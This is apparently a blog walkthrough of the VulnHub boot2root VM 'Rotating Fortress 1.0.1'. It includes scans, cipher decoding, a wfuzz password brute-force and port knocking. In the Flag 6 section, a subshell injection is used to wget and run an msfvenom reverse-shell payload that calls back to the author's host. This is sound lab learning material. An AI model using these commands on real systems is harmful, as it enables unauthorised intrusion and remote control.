This post documents the complete walkthrough of Rotating Fortress: 1.0.1, a boot2root VM created by c0rruptedb1t, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Zeus the admin of the server is retiring from Project: Rotating Fortress, but he doesn’t want the project to die with his retirement. To find the successor to the project he has created a challenge. Will you be able to get in, rotate the fortress, escape isolation and reach root ?

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129 ... PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). 27025/tcp open unknown syn-ack ttl 64 | fingerprint-strings: | DNSStatusRequestTCP, GenericLines, X11Probe: | Connection establised | Requesting Challenge Hash... | FourOhFourRequest, GetRequest, HTTPOptions, LPDString, NULL, RTSPRequest, SSLSessionReq, TLSSessionReq: | Connection establised | Requesting Challenge Hash... |_ Connection Closed: Access Denied [Challenge Hash Did Not Return Any Results From Database]

nmap finds 80/tcp and 27025/tcp open; 27025/tcp is an unknown service. In any case, let’s investigate 80/tcp first.

Flag: 1

Here’s what the web service looks like as rendered in the browser.

According to Wikipedia,

In ancient Roman religion and myth, Janus (/ˈdʒeɪnəs/; Latin: IANVS (Iānus), pronounced [ˈjaː.nus]) is the god of beginnings, gates, transitions, time, duality, doorways, passages, and endings.

It’s apt that Janus is overlooking the first flag. If you look at the cookies storage, you’ll realize it’s trivial to get the first flag.

Change the value of isAdmin to 1 and refresh the page /Janus.php .

Flag: 2

This brings us to the next stage.

To be honest, the page was giving a lot of Mandarin’s Lessons vibe in Iron Man 3. I got petrified for a while. I didn’t know what to think until hours later.

I did my best to determine the directories and files at this level. This is what I found.

/resources has directory indexing

has directory indexing /icons has directory indexing

has directory indexing /robots.txt exists and has the following disallowed entries: /icons/loki.bin is an ELF executable /eris.php exists

exists and has the following disallowed entries:

The messages at /news.html are also making my head spin.

I didn’t bother with /eris.php because according to Wikipedia,

Eris (/ˈɪərɪs, ˈɛrɪs/; Greek: Ἔρις, “Strife”) is the Greek goddess of strife and discord.

Let’s take apart the puny /icons/loki.bin to calm myself. I don’t know about you, but I always go for the strings first.

Is this the password?

Apparently not, but look what happens when you supply backd00r_pass123 as the password?

The program is comparing backd00r_pass123 with xBspsiONMSNXeVuiomF .

I think I’ve seen enough. Let’s quit the debugger and enter xBspsiONMSNXeVuiomF as the password.

Now that I know the cipher of these messages, let’s write a script to decipher them for the sake of completeness. The script takes in two arguments: the message as seen in the browser and the key.

decrypt.sh

#!/bin/bash FILE = $1 KEY = $2 echo "[+] Trying $KEY ..." for x in $( cat $FILE | sed -r -e 's/^\|//' -e 's/\|$//' -e 's/\|\|/

/g' ) ; do grep -E "^[0-9]+$" <<< " $x " &>/dev/null && \ printf " \\ $( printf "%o" $(( x + $KEY )) )

" || \ echo " $x " done \ | tr -d '

' \ | sed -e 's/\+\+/ /g' -e 's/\/\//./g' echo echo "-----"

Since we don’t know the key (I don’t read Martian you know), let’s loop the script through key 1 to 99 for each message.

Message 1. The key is 52 or 84.

# for key in $(seq 1 99); do ./decrypt.sh msg1.txt $key; done ... [+] Trying 52... ZEUS HERE. AFTER A LONG TIME OF THINKING I HAVE DECIDED TO RETIRE FROM PROJECT ROTATING FORTRESS. HOWEVER I DO NOT WANT TO KILL THE PROJECT WITH MY RETIREMENT SO I AM PRESENTING YOU ALL A CHALLENGE. I HAVE SET UP A PUZZLE ON THE SERVER IF YOU CAN GET PAST ALL PUZZLES THE SERVER IS YOURS. BY THE WAY I HAVE REMOVED EVERYBODIES LOGINS FROM THE SERVER EXPECT MINE SO THIS WONT BE EASY. TAKE THIS IT MIGHT BE USEFUL EDVQYHWMFVQRDUCQJBZUMYSRWDGMFDHT. GOOD LUCK. ----- ... [+] Trying 84... zeus here. after a long time of thinking i have decided to retire from project rotating fortress. however i do not want to kill the project with my retirement so i am presenting you all a challenge. i have set up a puzzle on the server if you can get past all puzzles the server is yours. by the way i have removed everybodies logins from the server expect mine so this wont be easy. take this it might be useful edvqyhwmfvqrducqjbzumysrwdgmfdht. good luck. ----- ...

Message 2. The key is 29 or 61.

# for key in $(seq 1 99); do ./decrypt.sh msg2.txt $key; done ... [+] Trying 29... WE WILL BE RESTRICTING ACCESS TO THE SERVER UNTIL FURTHER NOTICE FOR AN EVENT. ANTHENA. ----- ... [+] Trying 61... we will be restricting access to the server until further notice for an event. anthena. ----- ...

Message 3. The key is -3 or -35.

# for key in $(seq 1 99); do ./decrypt.sh msg2.txt -$key; done ... [+] Trying -3... zeus has asked me to make an encoder for our updates. this is me testing it out. if it works i will be sending it to the rest of you as well as a decoder. tir. ----- ... [+] Trying -35... ZEUS HAS ASKED ME TO MAKE AN ENCODER FOR OUR UPDATES. THIS IS ME TESTING IT OUT. IF IT WORKS I WILL BE SENDING IT TO THE REST OF YOU AS WELL AS A DECODER. TIR. ----- ...

Turns out that edvqyhwmfvqrducqjbzumysrwdgmfdht from Message 1 is the wheel code for /wheel.php . With that, you get access to view a video at /resources/wheel.mp4 , something about unlocking the wheel. ¯\_(ツ)_/¯

Flag: 3

Armed with decrypt.sh , I went back to decipher the message at home.html which was actually part of /resources/Harpocrates.gif .

# for key in $(seq 1 99); do ./decrypt.sh home.txt $key; done ... [+] Trying 7... INSIDE ----- ... [+] Trying 39... inside ----- ...

Hmm. Could this be a hint to look ‘inside’ /Harpocrates.gif ? But damn, the file is large at 128M.

Sneaky indeed.

Let’s decipher the link. The key appears to be 101 , which is decimal 5 .

# ./decrypt.sh inside.txt -5 [+] Trying -5... pfychgdpvmxpupdkmcvctggquyfmgvbt -----

I guess I’m supposed to go to /pfychgdpvmxpupdkmcvctggquyfmgvbt/ .

Flag: 4

WTF. Another Janus??!!

Too bad the same trick of changing the value of the cookie to 1 doesn’t work twice.

Let’s throw whatever we have gathered so far at it. Zeus said it might be useful.

Awesome.

Flag: 5

According to Wikipedia,

Papa Legba is a loa in Haitian Vodou, who serves as the intermediary between the loa and humanity. He stands at a spiritual crossroads and gives (or denies) permission to speak with the spirits of Guinee, and is believed to speak all human languages. In Haiti, he is the great elocutioner. Legba facilitates communication, speech, and understanding.

The HTML source seems to suggest that the password length is 9. And, another hint—visit /chat.php .

OK. Let’s go to /chat.php .

The chat page is more of a distraction than anything useful, meanwhile the Download button, allows you to download /papa_legba.zip . The archive contains the following files.

# unzip -l papa_legba.zip Archive: papa_legba.zip Length Date Time Name --------- ---------- ----- ---- 902511 2018-07-27 05:31 papa_legba.mp3 1522499 2018-07-27 12:13 scramble.jpg --------- ------- 2425010 2 files

The file papa_legba.mp3 contains audio Morse code, and decodes to this.

The file scramble.jpg looks like this.

Recall the hint that the password length is 9. We have a 9x9 square matrix here. Perhaps the password comprises one character from each column?

Because a 9x9 matrix has 99 or 387,420,489 combinations, it doesn’t make sense to try every single combination. Instead, we are going to make an assumption—the password contains non-repeating characters from each column.

To that end, I wrote this script to generate the wordlist.

scramble.py

#!/usr/bin/env python from sets import Set from itertools import product s1 = Set ([ 'O' , 'W' , 'V' , 'S' , 'I' , 'U' , 'C' , 'F' , 'O' ]) s2 = Set ([ 'D' , 'Z' , 'Y' , 'W' , 'V' , 'O' , 'W' , 'H' , 'Q' ]) s3 = Set ([ 'B' , 'Z' , 'G' , 'Z' , 'O' , 'Y' , 'U' , 'J' , 'B' ]) s4 = Set ([ 'A' , 'O' , 'W' , 'X' , 'K' , 'J' , 'B' , 'Y' , 'U' ]) s5 = Set ([ 'F' , 'J' , 'S' , 'Y' , 'V' , 'B' , 'E' , 'W' , 'C' ]) s6 = Set ([ 'L' , 'W' , 'J' , 'U' , 'R' , 'Y' , 'X' , 'Q' , 'W' ]) s7 = Set ([ 'C' , 'M' , 'V' , 'Y' , 'X' , 'Q' , 'P' , 'J' , 'Y' ]) s8 = Set ([ 'U' , 'S' , 'N' , 'J' , 'V' , 'V' , 'U' , 'K' , 'C' ]) s9 = Set ([ 'K' , 'V' , 'P' , 'Z' , 'T' , 'O' , 'V' , 'C' , 'X' ]) s1 -= s2 s2 -= s3 s3 -= s4 s4 -= s5 s5 -= s6 s6 -= s7 s7 -= s8 s8 -= s9 s9 -= s1 iterables = [ s1 , s2 , s3 , s4 , s5 , s6 , s7 , s8 , s9 ] for t in product ( * iterables ): print '' . join ( list ( t ))

The wordlist I generate, passwords.txt contains 840,000 password candidates—much more manageable than 387,420,489.

Next, I use wfuzz to brute-force the password field.

wfuzz -w passwords.txt -d "password=FUZZ" -t 100 --hh 803 http://192.168.30.129/pfychgdpvmxpupdkmcvctggquyfmgvbt/Papa_Legba/index.php ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://192.168.30.129/pfychgdpvmxpupdkmcvctggquyfmgvbt/Papa_Legba/index.php Total requests: 840000 ================================================================== ID Response Lines Word Chars Payload ================================================================== 370871: C=200 34 L 87 W 883 Ch "IHGAERMNT"

Knocking on Heaven’s Door

Following the previous flag’s trail, I come to this.

Let’s put the notes onto the music sheet. The rest are that: rest values. They are safe to ignore.

If Middle C or C4 is 39993, and if we count the space and line as steps, then the following is true. I know it’s highly unscientific—I’m not musically inclined.

G4 = 39993 + 4 = 39997 B4 = 39993 + 6 = 39999 E5 = 39993 + 9 = 40002

The sequence of notes then becomes 39997, 40002, 39999, 39997, 39993, 39993 , reading from left to right.

With that in mind, let’s write a port-knocking script using nmap , sending one SYN packet per port following the sequence.

knock.sh

#!/bin/bash TARGET = $1 PORTS = "39997,40002,39999,39997,39993,39993" echo "[*] Trying sequence $PORTS ..." for port in $( echo $PORTS | tr ',' ' ' ) ; do nmap -n -v0 -Pn --max-retries 0 -p $port $TARGET done sleep 3 nmap -n -v -Pn -p- -A --reason $TARGET -oN ${ PORTS } .txt

Let’s give it a shot.

PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). 1337/tcp open waste? syn-ack ttl 64 | fingerprint-strings: | GenericLines, GetRequest: | Connection establised | Welcome back L0k1... | Here is your to do list: | password input for shell[] | hide traffic[] | Hide this shell in wheel isolation from Zeus, he got rid of my other backdoor[x] | cmd_list.txt not found defaulting... | Command List: | about | echo | nano | modules | help | ping | self_check | touch | quit | whoami | Unknown Command | NULL: | Connection establised | Welcome back L0k1... | Here is your to do list: | password input for shell[] | hide traffic[] | Hide this shell in wheel isolation from Zeus, he got rid of my other backdoor[x] | cmd_list.txt not found defaulting... | Command List: | about | echo | nano | modules | help | ping | self_check | touch | quit |_ whoami 27025/tcp open unknown syn-ack ttl 64 | fingerprint-strings: | DNSVersionBindReqTCP: | Connection establised | Requesting Challenge Hash... | NULL: | Connection establised | Requesting Challenge Hash... |_ Connection Closed: Access Denied [Challenge Hash Did Not Return Any Results From Database] 40000/tcp open safetynetp? syn-ack ttl 64 | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest: | Connection establised | Please enter all the flags you have collected (not seperated, only data inside '{}'): | Incorrect Flag | NULL: | Connection establised | Please enter all the flags you have collected (not seperated, only data inside '{}'): | RPCCheck, SSLSessionReq: | Connection establised | Please enter all the flags you have collected (not seperated, only data inside '{}'): |_ Error Closing Connection...

Awesome. We have two more open ports: 1337/tcp and 40000/tcp .

Flag: 6

One of the newly open ports, 40000/tcp , upon connection, displays the following message to enter all the flags collected so far.

Let’s enter the flags we have so far.

The ZEUS’ 1-WAY SHELL has a weakness—it allows the use of subshell. To bypass it, I transferred a reverse shell over to /tmp/rev with wget running in the subshell. Over at my machine, I hosted a reverse shell (generated with msfvenom ) with the Python SimpleHTTPServer module. Here’s what I did.

First, I use the following msfvenom options to generate the reverse shell on my machine.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.30.128 LPORT=4444 --platform linux -a x64 -f elf -o rev No encoder or badchars specified, outputting raw payload Payload size: 74 bytes Final size of elf file: 194 bytes Saved as: rev

The image below shows the execution of wget in a subshell.

The image below shows that wget was successful.

The image below shows the command to make rev executable, and the execution of rev .

The image below shows the reverse shell caught by nc , and the command to spawn a proper shell.

Once I’ve the shell, it’s trivial to find the sixth flag. It’s at /home/www-data/deamon/Flag_6.txt

In the Land of Zeus

The message above says the password of zeus is 7daLI]tr09u2~ATXVfzXkd#B=TVf5XOIQMZr98yf53k<2x .

I sense the end is near.

Of course Zeus can do anything. He is the king of the Greek gods after all.

Capturing the Rotating Fortress

Afterthought

I had a fun time looking up the name of the deities and supernatural beings on Wikipedia, and understanding their characteristics and the role they play in the VM.

These are the deities and supernatural beings that appeared in the VM, not in any order of appearance: